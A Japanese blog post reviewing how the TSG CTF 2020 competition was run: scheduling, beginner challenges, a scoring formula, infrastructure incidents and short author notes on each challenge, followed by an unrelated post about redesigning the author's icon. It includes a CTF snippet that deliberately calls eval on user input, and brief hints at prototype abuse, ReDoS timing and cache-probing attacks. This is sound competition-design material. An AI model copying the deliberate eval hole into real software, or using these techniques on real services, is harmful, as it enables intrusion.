近年、「より良いCTFを設計するためにはどうすればいいのか」という議論がさまざまな場所で盛んです。このような取り組みの一つとして、GoogleCTFの Eduardo Vela さんが編集した CTF Design Guidelines (bit.ly/ctf-design) というドキュメントが昨年12月に公開され、大きな反響を呼びました。このドキュメントにはこれまでに議論されたCTFの設計に関するアドバイスが丁寧かつ網羅的にまとめられており、CTFを主催するすべての人に読んでほしい必読書となっています。

僕も2度目の TSG CTF を開催する上でこのドキュメントの内容には一通り目を通しました。このドキュメントには「問題のリリーススケジュール」というセクションがあり、様々なリリースパターンとそれぞれの長所短所について詳しく記述されています。特にCTFでよくあるパターンである「開始後、徐々に問題をリリースする」か「競技開始と同時にすべての問題を公開する」かの選択は非常に難しく、TSG CTF を開催する上でも非常に悩んだのですが、これに加えて、このドキュメントには以下のような提案がありました。

The ideal case is to be transparent with players and reveal, ahead of time, how many challenges are expected to be released and when. And create such a schedule taking into consideration timezone challenges.

個人的にもこのアイデアは非常に優れていると感じたので、第三の選択肢として、「事前にどの問題をいつリリースするかを公開しておき、そのスケジュール通りに少しずつ問題を公開する」というパターンを選びました。参加者間の公平性という面では「競技開始と同時にすべての問題を公開する」パターンが最も優れていますが、TSG CTF では1人あたりの問題作成数が多く、複数の問題のサポートを同時に行うのが難しいという点を考慮して行いませんでした (あと、個人的に少しずつ問題が増えていくのがCTFの楽しみの一つでもあると思っているのもあります)。

参加者の反応を見る限り、この試みは非常に好評だったので、次回以降もリリーススケジュールの公開は行うと思います。なお僕の知る限りこのパターンを採用したCTFは TSG CTF 以前では知りませんが、直後に開催された HacktivityCon CTF では TSG CTF 2020 と同様に問題のリリーススケジュールが事前に公開されていました。

Beginner問題の整備

前回の反省点として、開催後のフィードバックとして「全体的に問題が難しすぎて全く手がつけられなかった」という感想が多く寄せられたというものがあります。これを受けて今回の TSG CTF では、初心者向けの問題をすべてのジャンルに1問ずつ用意し、大会開始と同時にリリースすることにしました。

この「初心者向けの問題」を TSG CTF で出題するというのが非常に厄介な問題でした。前回の開催記でも述べたとおり、基本的には我々は「面白い問題は難しい」と思っているので、あまりに自明で解いていて面白くない問題は出題したくないという思いがありました。例えば、フラグ文字列をbase64で100回エンコードしたものをcryptoの初心者向け問題として出題するなどのことはしたくありませんでした。よって方針としては、初心者でも解けて、かつ「CTFのパズルとしての面白さ」を体験できる問題を作成しようと考えた結果、「セキュリティやCTFに特有の知識ベースや経験をほぼ必要とせず、プログラマーなら誰でも知っている知識のみで解けるが、解くにはある程度発想の転換やパズルを解く必要がある (=自明ではない) 問題」を「初心者向け問題」として定義し、出題することにしました。

例えば、Miscジャンルの初心者向け問題として用意した "Beginner's Misc" はこの意味で特によくできた問題だと思っています。この問題の配布ファイルは実質以下の3行だけで構成されています。

exploit = input('? ')
if eval(b64encode(exploit.encode('UTF-8'))) == math.pi:
  print(open('flag.txt').read())

ここで登場する技術はUTF-8Base64Pythonと、どれもセキュリティ的な文脈でなくても広く使われる基礎的な技術ばかりです。一方でこの問題を解くにはUTF-8Base64エンコーディング形式について詳しく調べ、かつ指定された条件を満たすような入力をスクリプトを書いて生成する必要があり、必ずしも「自明でつまらない問題」ではないと思います (ちなみに、Pythonstr.encodeのデフォルト値はUTF-8なので明示的に指定する必要はないのですが、UTF-8が使用されていることが分かりやすいようわざわざ引数で指定してあります)。

競技プログラミングに詳しい方には、同じ難易度でも「ABCのC問題」ではなく「AGCのA問題」を目指して作ったと言えばわかりやすいでしょうか。とにかく、知識勝負ではなく発想勝負になるような問題をBeginner問題として出題するようにしました。

加えて、TSG内部のCTF初心者からは「CTFの経験がないと、問題の内容から何をすればいいか・問題の目的が自明ではない」というフィードバックがあったため、全てのBeginner問題には、問題の目的がなにか、何を達成できればフラグが取得できるのかについて詳細に記述しました。これらの取り組みによって、CTF初心者であっても「何をすればいいか全くわからない」というようなことがなく、かつ「解くことによってCTFの面白さをわかってもらえる」問題を目指しました。

反響ですが、依然として「難しすぎる」「初心者向けと書いてあるのに全く解けなかった」という反応は多かったです。「初心者向け」と銘打って出題したことで問題に対する期待と実際の問題に乖離が生じてしまったのは反省するべき点かなと思います。特にCTFを「セキュリティ技術を競い合う大会」だと思って TSG CTF に参加しに来た人には「セキュリティに関する知識が要求されず、純粋なパズルのように見える問題」が出題されたことで戸惑わせてしまったのではないかと思われます。

次回どのような方針で作問するかについては未定ですが、できれば今回出題したような「特殊な知識はほぼ必要としないが、ひらめきを用いることで解ける問題」は (初心者向けというラベルを付けるかはともかく) 出題できたらいいなと思っています。

ちなみに、大会中にDiscordで問題の難易度について「beginners < easy < med < hard」という発言をしましたが、これはかなりミスディレクションな発言だったと反省しています。上に述べたとおりBeginners問題の本質は「解くのにCTFへの参加経験を必要としない」ことだと思っているので、難易度とは別軸の基準だと思っています。が、一方でCTF初心者から見たときの敷居の高さという面ではEasy問題よりもBeginners問題のほうが低いということも同時に言えるのではないかと思います。

動的スコアの計算式の見直し

前回の TSG CTF ではCTFdのデフォルトの動的スコアをそのまま使用して失敗してしまったため、今回は動的スコアの計算式を事前によく検討して「TSGが考える最高の動的スコア」になるように調整を行いました。

この過程で、他のいくつかのCTFの動的スコアの計算式を比較して参考にしました。プロットすると以下のようになります。

前回の TSG CTF ではCTFdのデフォルトの計算式を用いたので青色の線が該当します。改めて見ると本当にめちゃくちゃ頭の悪い動きをしていてびっくりしちゃいますね。

TSGでは、これまでのCTFへの参加経験から、以下のような特徴を持った動的スコアの計算式が優れていると考えました。

  • 序盤は多くのCTFと似たexponentialな動きをし、10solves程度で約半分の得点になる
  • 一方で関数の漸近が遅く、solve数が増えてもゆるやかに得点が減っていく

これらの条件を満たす計算式として、bit.ly/ctf-designで提案されている以下のlogモデルはかなり理想に近いものでした。

 \displaystyle
  p=500-K\log\left(\frac{S+V}{1+V}\right)

が、この計算式には一つ大きな問題があります。特定の収束値を持たないのでsolve数が増えるにつれて無限に得点が下がっていき、問題の得点がマイナスになる可能性があるということです。

そこで、TSGが誇る数学のプロフェッショナル@naan112358に依頼して、上の条件を満たすような計算式を新たに考案してもらいました。その結果が以下の式です。

 \displaystyle
  p=500\times\left(1+\frac{\log^{2}_{10}S}{a}\right)^{-b}

ここで、 {a,b}は調整のためのパラメーターです。TSG CTF 2020 では  {(S,p)=(100,100),(10,250\text{程度})} となるよう以下のパラメーターを使用しました。

  •  {a=2.079}
  •  {b=1.5}

これをプロットしたのが上のグラフの緑の線です。なめらかに動きゆるやかに0に収束していくことがわかります。

この計算式は実際の運用でも問題なく機能し、またこのあと開催された SECCON 2020 でも同じ計算式が採用されました。実際かなりよくできた式だと思うのでぜひ他のCTFでも積極的に採用してもらえればと思います。

Discordの運用体制

今回も TSG CTF の参加者同士のコミュニケーションにはDiscordを採用しました。近年IRCからDiscordに移行するCTFが増えてきているのを感じるので、これはかなり時代にも則った妥当な判断だと思います。

前回のDiscordでは、random, random_ja, general の3チャンネルによる運用でしたが、前回のDiscordの活動状況から日本語でのコミュニケーションが少なかったことを受けて、今回はrandom_jaチャンネルを使用しませんでした。その代わり他のCTFでよく見かけるように web, pwn, crypto などジャンルごとのチャンネルを設けてそれぞれの話題についての会話ができるようにしました。

結果として、コンテスト中はそれほどコミュニケーションが活発化されなかったこと、また問題の内容に抵触するような内容について話される危険が増すことからあまりいい措置ではなかったと思います。特に TSG CTF のような「真面目な」CTFではコンテスト中のDiscordは完全に参加者が運営に質問をする専用の場所として割り切ってしまうのが良いのかなと思います。

一方で、コンテスト終了後に問題の解法について話し合う際には、複数のチャンネルがあったほうが話題が散逸せず話し合いやすいという利点もあります。この問題を解決するため、SECCON 2020 の運営ではあらかじめ問題のジャンルごとにpost-mortemチャンネルを作成しておき、コンテスト終了と同時にアクセスを解禁するという手法を取りました。これはかなりうまく行ったと思っているので、次回があればこの手法を試そうと思っています。

セキュリティへの配慮

前回の開催記にも詳しく書いていますが、CTFのプレイヤーは一般にあらゆる意味で行儀が悪い (褒め言葉です) ので、CTFの問題サーバーを構成するにあたってセキュリティ的な配慮を行うことは通常にも増して重要だと考えています。前回に引き続き、今回も問題全体のデプロイにDockerを用いており、GCPの container-optimized OS を採用することにより全体的なセキュリティの向上を図っています。

加えて、一部の問題ではセキュリティに関して特別な配慮を行う必要がありました。今回出題したstd::vectorという問題では、ユーザーから与えられたプログラムをサンドボックス環境で実行する必要があるため、DinD (Docker in Docker) を用いた構成を採用しています。この構成ではユーザーからの接続を受けるマスタープログラムがDockerを自由に駆動できる必要があるため、外側のDockerコンテナにpriviledgedフラグを付与する必要があり、コンテナが実質的にサンドボックスの役割を果たしません。つまりマスタープログラムに深刻な脆弱性があった場合、即座にサーバー全体を乗っ取られる危険性があるということを意味します。

なので当然マスタープログラムの実装に際しては脆弱性が存在しないか細心のチェックを行いましたが、やはり人間によるチェックにはどうしても限界があります。そこで万一マスタープログラムがハックされた場合のセーフネットとして、この問題をデプロイするサーバーには他の問題を絶対に同居させず、サーバーに置くファイルも必要最小限のものとし、ネットワーク的にも他のサーバーと隔離することによって、被害の範囲が最大でもその問題のフラグの流出に留まるようにしました。

CTFにおいて大会全体の問題の解法やフラグが流出するのは考えうる限り最悪のシチュエーションなので、常にこのような可能性に気を配って大会を運用したいところです。というかそもそもこのようなタイプの問題をより安全に駆動するためのアイデアがないので、もしあればぜひ教えて下さい (?)。

トラブル・反省点

開始直後のアクセス過剰とサーバーダウン

これは前回の TSG CTF ではちゃんと回っていたけど、今回はうまく行かなかったことの一つです。

前回の TSG CTF では、コンテスト開始直後には大量のアクセスが見込まれることから、開始時刻にだけ強いインスタンスのサーバーを用意しておき、その後アクセスが落ち着くと同時にインスタンスを減らしていくという手法を取りました。今回も同じようにコンテスト開始までにインスタンスを増やしておこうという算段を立てていたんですが、あまり重要なタスクだと意識していなかったためコンテスト開始直前までこのことを完全に忘却しており、結局サーバーのスケールアップが間に合っていない状態でコンテスト開始時刻を迎えてしまいました。結果、コンテスト開始と同時に大量のアクセスに耐えきれずサーバーがダウンし、その後サーバーのスケールアップが完了するまでの十数分間程度、参加者がスコアサーバーにアクセスできない状況が続きました。TSG CTF のインフラ担当としてこれらのアクセスに対応できなかったのは深く反省するべき点だと思います。

コンテスト開始時に問題の内容にアクセスできないのはかなり参加者側の体験として良くない (Discordがかなり荒れました) 上に、場合によってはチーム間の公平性に関わってくるため、かなり避けたいことの一つです。

コンテスト開始直後は、やはりというか、通常よりもかなり多いアクセスが一気に流れ込んでくるので、甘く見ずにちゃんとインフラの対応を行おう、というのが教訓だと思います。

問題チェックの甘さとレビューの難しさ

CTFの問題の作問を行うたびに思いますが、やはりCTFの問題のレビューというのは難しいです。特に今回の TSG CTF 2020 では問題に対する非想定解がコンテスト中に多く発見されました。これは、より洗練された問題を作ろうとした場合、想定解より洗練されていない解をすべて通らないように設計しないといけない、という関係性があるため、より優れた問題を作ろうとする上ではどうしても避けて通れないジレンマだと思います。

これを踏まえても、やはりよりよいCTFを設計しようとするならば、決してレビューを軽んじず、1つの問題に対するレビュー人数と時間を増やすことが肝心です。ましてレビュー無しで問題をリリースするなどというのは絶対にありえないことだと思います。

今回ももちろんリリースした問題に対しては一通り他のメンバーによるレビューを行っていますが、作問陣営の人数がそこまで多くなかったこと、また後述するように結局ほとんどの問題が完成したのが開催直前だったというのもあり、決して「徹底したレビュー」とは言えなかったと思います。また例えば今夏のWeb問題 "Notes" における、Cache Probing を用いた非想定解などに関しては、そもそもこれを用いた非想定解の可能性について作問陣で一度は考慮したものの現実的に可能なexploitを構築できなかったという経緯があり、レビューメンバーの技術的な限界が露呈したとも言えると思います。

これらは本当に難しい問題ですし、簡単な解決策は無いと思います。あるとすれば、日頃から多くのCTFに参加してCTFプレイヤーとしても強くなり、非想定解に対する感度を高めるくらいしかないでしょう。チームTSGとしてもやはり精進は続けていくべきだと改めて思わされます。

クローラー系問題のキュー詰まり

CTFのWebジャンルの問題の典型的な構成として、adminアカウントを持ったブラウザに特定のURLを踏ませることによってXSSなどの攻撃を発火させるというものがあります。これをCTFの問題として実現するために、URLを送信することでヘッドレスなブラウザから自動でそのURLにアクセスしてくれるBOTが実装されることが多いです。これを指してクローラーなどと呼ばれることが多いですが、今回の TSG CTF では Notes (と Notes Revenge) という問題でこのクローラーを含む問題の実装を行いました。

クローラーの動作は、実際のブラウザをまるごと動かすだけあって非常に重いので、Notesではキューによる順次実行を行うことにより並列実行が行われないようにしています。が、問題を公開してからしばらく経った時点で、クローラーの処理能力を超えた数のURLが送信されることによりタスク実行が詰まり始め、URLを送信したにもかかわらずかなり長い間クローラーにアクセスされないという問い合わせが多発しました。

いちおう、このようなことが起きたときにちゃんとスケールできるよう、クローラーの実行は複数インスタンスに分散可能なように設計されていますし、URLの送信に対して Proof of Work を設ける準備もできていたのですが、肝心のキューが詰まっているという事実をちゃんと運営側で把握できていなかったため、対応が後手に回る結果となりました。

CTFが限られた時間で問題を解く競技であることを考えると、クローラーのアクセスが遅いことは競技終了までに問題が解けるかどうかという部分に直接的に関わってくるため、このような事態はなるべく避けたいところです。クローラーなど重たい処理を含む部分は、ちゃんとキューの待ちタスク数や負荷状況を監視対象とすることを忘れないようにしたいです。また現在のクローラーの状態がわかるよう、キューに積んだときに現在の待ちタスク数をユーザーに表示する、などの対策も有効だと考えられます。

最近ではFaaSなどを活用したスケーラブルなWebクローラー実装も見られるようなので、次回があればぜひ実装してみたいなと思っています。

リモート開催の難しさ

昨今の情勢は TSG CTF の運営にも大きな影響を与えました。昨年の TSG CTF では運営が一箇所に集まって泊りがけで24時間の運営作業を行いましたが、今年はやはり物理的に集まるのは良くない (加えて、場所が見つからなかった) という事情により、各々の自宅を音声通話でつないでリモートで運営を行いました。

感想ですが、やはりCTFの運営をリモートで行うのは難しいなと改めて感じさせられました。CTFという大会の特性上、参加者からの質問に対して作問者による対応が必要なことが多々あるのですが、オンサイトで集まっていれば寝ていても気軽に (?) 起こしに行けるのですが、リモートだと作問者による対応を確実に乞うことはどうやっても難しいです。CTFだとこういう場合参加者に「作問者が寝てるからちょっと待ってくれ」と言っても許される風潮がありますが、そのせいで最後まで問題が解けなかったりするとやはり体験としては非常に悪いです。これは通常の開催でもそうなのですが、なるべく作問者の他にも問題に対する質問に対応できる人間を増やしておく、具体的には問題の内容と解法をより多くの人間が理解し、サーバーなどのオペレーションに必要な認証情報が適切に共有されているということが、リモート開催に際してはより一層重要になってくるかなと思います。

ちなみに今回の TSG CTF 2020 ではわたくし博多市が終了数時間前に仮眠をとったあと不慮の事故により寝過ごしてしまい、本来僕がやる予定だったCTFの終了に際する告知作業を他の部員が代行して行う羽目になるというトラブルがありました。運営を担当した僕以外のTSGerがめちゃくちゃスマートだったのでこれは概ね恙なく完了した (ありがとう) のですが、WebPushの通知を送信するのに必要なOneSignalのトークンだけ事前に共有するのを忘れていたため片手落ちとなってしまいました。慢心、ダメ、絶対。

質問への対応作業の集約

TSG CTF 2020 では、問題の作問者がわかるとその情報から問題の解法がメタ読みされる危険があるという思想から、なるべく問題の作問者を秘匿するようにしました。それに伴う問題として、Discord上での質問に対する対応に作問者直々に回答することができなくなってしまうため、TSG CTF 2020 ではDiscord上で@tsgctf-adminという質問集約のためのアカウントを設け、問題への質問などは全部そこに送ってもらい、運営者なら誰でもそのDM内容を見て回答できるようにしました。これには作問者を秘匿することができることに加えて以下のような利点があると考えました。

  • 参加者は "who is admin for xxx?" → "please dm @xxx" という質問作業を行うことなく一発で問題に対する質問を送ることができる
  • 未対応の会話が放置されず、運営全員が気づいて対応することができる

で、実際にやってみた結果ですが、こちらもうまく回ったとは言い難いです。そもそも論として、問題の作問者を隠すことに関してかなり賛否両論でした。問題の作問者は、製品の生産者表示のように参加者に対して問題のクオリティを保証する意味を同時に持っているため、むしろ積極的に表示したほうがいいという意見も多かったです。また未対応の会話が放置されないという点ですが、実際に運用してみると膨大な量のメッセージを捌く必要があったため、対応済み・未対応の管理が難しく、ちゃんと漏れなく対応できていたとは言い難かったです。加えてDiscordが複数アカウントを切り替えるという操作を想定していない、メッセージの既読未読状況がブラウザごとではなくアカウントで共有されてしまうなどのプラットフォームの問題もあり、結果的にかなり運営の負担が増えてしまいました。たぶん次回は廃止すると思います。

これはCTFの伝統とコンフリクトするため僕も導入するのを渋っているのですが、やはり上のような問題を解決するためには競プロのようなclarシステムを設けるほうがいいのかもしれません。が、CTFの場合、参加者の問題を解決するために会話を何往復かさせなければいけないことも多いため、単純な問題でないのも事実です。

通知ボタン

前回に引き続き、今回もスコアサーバーから参加者のブラウザにWebPushで問題追加などの通知を送るようにしています。前回の反省点として「通知の許可ダイアログが出ると反射的に拒否してしまう」というものがあったため、今回は右下に通知ONボタンを表示し、ページロード時ではなく通知を許可したいときにボタンを押して貰う形式にしました (OneSignalの機能を使っています) が、通知をONにした人の数は前回よりも少なかったです。悲しいね。

プロジェクトマネジメント

これはもう半ば諦めているんですが、最終的に出題する問題が出揃ったのは今回もかなり開催直前になってからでした。余裕を持った作問スケジュールというのは存在しうるんでしょうか?

本来の開催予定日だった6月末の時点で、作問状況はこんな感じでした。

hakatashi以外の問題が6問 (うち1問未完成) しかない!

で、今回も直前の追い上げで問題を一気に完成させたわけですが、そうやって完成した問題にはやはり穴が多かったというか、非想定解とかトラブルが多かった印象があります。あまりに当然ですが、問題はやはり早めに完成しておくに越したことはないようです。

いろいろなCTFのオーガナイザーに話を聞いてみると、年1回のCTF開催を目標に、年間を通して問題を考えておき、1年分のストックをCTFで放出するというスタイルを取っているCTFが多いようです。そんなわけで、TSGでも次回の TSG CTF 開催に向けて今から作問作業を行っています⋯⋯が、やっぱり作問状況は芳しくないですね。安定してCTFの問題を供給するのはすごく難しいことだと思います。

完璧なプロジェクトマネジメントなどといったものは存在しない。完璧な絶望が存在しないようにね。

次回について

2021年の TSG CTF についてですが、大きな問題がなければ十中八九開催します。時期などは全く決まっていませんが、今回の反省内容を生かして、より面白くてクオリティの高い大会にできたらいいな〜と思っています。あと、新しい取り組みもなるべく取り入れたいです。

今回の開催記はこんな感じでしょうか。最後まで読んでいただきありがとうございます。また、スポンサー協力を頂いたFlatt社のみなさん、および TSG CTF 2020 に参加していただいたみなさんにも感謝の気持ちが尽きません。TSGだけではCTFは成り立たないんだということを改めて感じさせます。今後ともよろしくお願いします。

TSG CTF 2020 作問感想

博多市が作問した問題に関する雑記です。ちゃんとしたWriteupは後ほど投げます。

Beginner's Crypto (Crypto)

配布ファイルが単純だし解くのに複雑な式変形も必要ないのでBeginner。

レビュー中にsatos (@satos___jp) が下の桁から合わせていく面白い別解で解いていた。

Sweet like Apple Pie (Crypto)

「こんな問題できないかな~」って投げたらナン氏 (@naan112358) が秒で解いてくれた。すごい。sin(x) = sin(π - x) に関しては博多市も作問する際にめっちゃ悩んだのでみんなにもこの苦しみを味わってもらいたいと思いそのまま出題。

Rubikrypto (Crypto)

CTFにルービックキューブ問は何度も出てるけど、ちゃんと暗号暗号してる良問ってないな~と思っていたので、ちゃんと群と暗号に絡めた形の問題を作りたかった。想定解は Pohlig-Hellman ではなくルービックキューブ群の元の位数がたかだか1260であることを利用する。

Modulus Amittendus (Crypto)

原案はcookies (@kcz146) の「Nの代わりにΦ(N)が与えられたらpとqを復元できないかな~」という発言。その過程で「そういえばHITCONに Lost Modulus Againなんて問題があったね~」ってなって、試しにこの問題から係数を一つ落とした問題をナン氏 (@naan112358) に投げてみたら秒で解いてくれたので出題。

今年もRSA問が出せてよかった。係数一つ落としただけなのにもとの問題と解き方が全く違ってくるのが面白いですね~。

Beginner's Web (Web)

object[key](hoge, fuga) みたいなやつで key がいじれるシチュエーションなら、CTFerでなくても Object.prototype を疑うのが自然かな~と思います。

で、想定ムーブは Object.prototype 以下のメソッド一覧をドキュメントなりなんなりで確認し、(String, Function) という引数を取る関数が __defineSetter____defineGetter__ しか無いことを見つけ、で __defineGetter__ はフィルタの [FLAG] に引っかかるので __defineSetter__ 一択に絞れる。あとは一直線。

Slick Logger (Web)

いや~Side-channel問の作問って難しい。つばめ先生の Blind Regexp Injection の記事にあるとおり、Golangオートマトンを用いたいい感じのRegExpエンジンを実装しているのでexponentialな計算量のReDoSが難しいわけですね。ただオートマトンを用いるConsとしてオートマトンの状態数に比例した時間計算量が必要になり、GolangRegExpには状態数に対する制限がないので重めの線形ReDoSが構築できます。あとはApacheCGIのTimeout設定が1sなのを確認して status code が504か200かで判別できるようにパラメータを調整すれば勝ちです。

Beginner's Misc (Misc)

Base64UTF-8も全人類知ってるしソースコードが実質3行なのでBeginner。

Base64に変換したあと[0-9/+]だけで構成されるようなUTF-8文字列を手で構成するなり全探索するなりしたあと分数にして上の桁から合わせていく。

Poor Stego Guy (Misc)

めっちゃ頑張って作ったのに一行で解かれて泣いちゃった。想定解はJPEGのDCTの係数離散化がそのまま格子と見なせることを利用し、LLLを用いてCVP問題を解きます。

BlindCoder (Misc)

「こんな問題できないかな~」って投げたらCoiL氏 (@coil_kpc) が秒で解いてくれた。すごい。

博多市のアイコンが新しくなります

博多市です。今春の就職に合わせて、6月から渋谷のど真ん中で新生活を送っています。

これまでインターネット上で好んで用いてきたおなじみの黒と赤と青のアイコンですが、新生活にあたって心機一転し、全面的にリニューアルすることにしました。

これまで使ってきたアイコンはこちらです。

f:id:hakatashi:20200621072038p:plain
年季を感じさせる古臭さのぬぐえないクソダサ旧アイコン

そして、新しくなった博多市のアイコンはこちらになります。

f:id:hakatashi:20200621072355p:plain
新しい時代の到来を感じさせるスタイリッシュでエレガントな新アイコン

何が変わったか一目瞭然ですね!!!!

変更点

何が変わったかわからない人のために、旧アイコンと新アイコンを重ね合わせて比較してみました。

f:id:hakatashi:20200621073312p:plain
旧アイコンと新アイコンの比較

赤い部分が旧アイコン、青い部分が新アイコンです。各部の寸法が微妙に変更されています。

新しいアイコンの特徴

実は、これまで使用していたアイコンの寸法はあらゆる意味で「汚い」ものでした。今回のリニューアルはこの寸法の問題を一挙に解決するためのものです。このアイコンは以下のような特徴を持ちます。

1. 各頂点の座標を含め、あらゆる寸法を正確な整数比で表現することができる

画像全体の大きさを480x480としたとき、各図形の頂点の座標は以下の通り規定されます。

  • 黒: (130, 185), (146, 173), (286, 243), (286, 343), (270, 355), (130, 285)
  • 赤: (162, 161), (178, 149), (318, 219), (318, 319), (302, 331), (302, 231)
  • 青: (194, 137), (210, 125), (350, 195), (350, 295), (334, 307), (334, 207)

2. 図形全体を六角形としてみたとき、左右の対角線がその両端の角を正確に二等分する

f:id:hakatashi:20200621075541p:plain

3. 図形全体を回転させると左右対称かつ上下対称となる

f:id:hakatashi:20200621075657p:plain

4. 図形全体の中心が画像の中心と一致する

f:id:hakatashi:20200621081059p:plain

5. 図形を直方体としてみたとき、黒と赤と青のストライプが側面の幅を正確に五等分する

f:id:hakatashi:20200621081307p:plain

これらの特徴のうち、旧アイコンで満たされていたのは4.の「図形全体の中心が画像の中心と一致する」だけでした。

実はこの旧アイコンは、寸法とかそういう難しいことは考えずにIllustratorを使用して雑にデザインしたものだったので、よく見るとあちこちがガタガタです。「博多市」としてのソーシャルアイデンティティーを示すためのアイコンとして、こんな適当なアイコンでは良くないと以前から気になっていたのですが、今回このように改めて図形としての仕様や要件からアイコンをきっちりと定義し直したことにより、旧アイコンの「フリーハンド感」が薄れてデザインとしてもかなりスッキリしたと感じています。

これらの寸法の仕様や派生画像など、アイコンに関する情報は今後こちらのリポジトリに集約する予定です。

github.com

よく見ないと気づかないマイナーチェンジかもしれませんが、スッキリと生まれ変わったアイコンで、どうか今後ともよろしくお願いいたします。

博多市アイコン略史

せっかくなので、このアイコンに至るまでの博多市のアイコンの遷移と歴史について軽く紹介しておきます。

博多市が自分のアイコンというか、アバターについて初めて意識したのは、2010年にTwitterのアカウントを作成した頃です。

当時の博多市のTwitterアイコンは、こんな感じでした。

f:id:hakatashi:20200621083414p:plain
第1世代アイコン (再現)

今となっては懐かしい、「伯方の塩」の非公式擬人化キャラクター「伯方さん」です。

「博多市」というハンドルネームは当時から使っていたので、アイコンもそれにちなんだものにしようと考え、当時流行していた名前の似ているキャラクターをそのまま引っ張ってきました。キャッチフレーズの「!の!!お!」が「はかたし」の4文字を含むこともあって、このキャラクターには比較的愛着があったのを覚えています。

そしてそれから2年ほど経った頃、Twitter「箱ドット」なるアイコンが流行し始めました。こういうやつです。

f:id:hakatashi:20200621084037p:plainf:id:hakatashi:20200621084219p:plain (素体素材: 花屋(oat)さん)

借り物のキャラクターじゃなくて自分オリジナルのアイコンが欲しいと思っていた博多市は、自分でもこれを作ってみることにしました。素体とかよくわからなかったので、ペイントで一から描いてみました。

f:id:hakatashi:20200621084616p:plain

そして頭だけ描いて諦めました。

このままで終わるのもなんなので、元のアイコンの伯方さんのアクセントである赤と青のストライプと、「博多」という文字を前面にあしらってなんとなくそれっぽい感じにしました。これが第2世代のアイコンです。

f:id:hakatashi:20200621084935p:plain
第2世代アイコン

このアイコンはけっこう長く使われましたし、派生アイコンも多く誕生しています。たとえばクリスマスだけ使われた1日限定のアイコンはこんな感じで、

f:id:hakatashi:20200621085138p:plain
第2世代アイコン (クリスマス限定)

Tumblr用に使われたのはこんなアイコンでした。

f:id:hakatashi:20200621085227p:plain
第2世代アイコン (Tumblr)

そして大学に進学したあとの2014年ごろ、Webプログラミングなどを通してSNS以外でのアイコンの使用が増えてくるのにつれて、ドット絵のアイコンというのが古臭く見えるようになってきました。まあ素人が適当に打ったドット絵ですし実際見栄えが悪い。当時フラットデザインというのが流行し始めていたのもあり、デザインの意匠は変更せず、シンプルな図形で構成されたアイコンにリニューアルしようと考えました。このとき作成されたのが第3世代のアイコンです。

f:id:hakatashi:20200621085928p:plain
第3世代アイコン

というわけで、博多市のトレードマークでもあるこの赤と青のストライプは、もとを辿れば伯方さんの衣装、さらに辿れば伯方の塩のパッケージに描かれている赤と青の線に行き着きます (ちなみにこのパッケージの線が何を表現しているのかは未だにわからないままです。誰か教えて)。

ちなみに、このリニューアルしたアイコンを、以前のアイコンを知る当時のNPCAの後輩や同輩に見せたら口を揃えて「え⋯⋯ダサw」って言われたのをよく覚えています。絶対に許さん。

f:id:hakatashi:20200621072355p:plain
第4世代アイコン

以来、実に長い間このアイコンは使われました。目が痛くなるこの原色の黒赤青の配色がもはや自分にとっての「博多市配色」です。リファインされ第4世代となったアイコンにさらに愛着が湧くよう、これからも精進してまいります。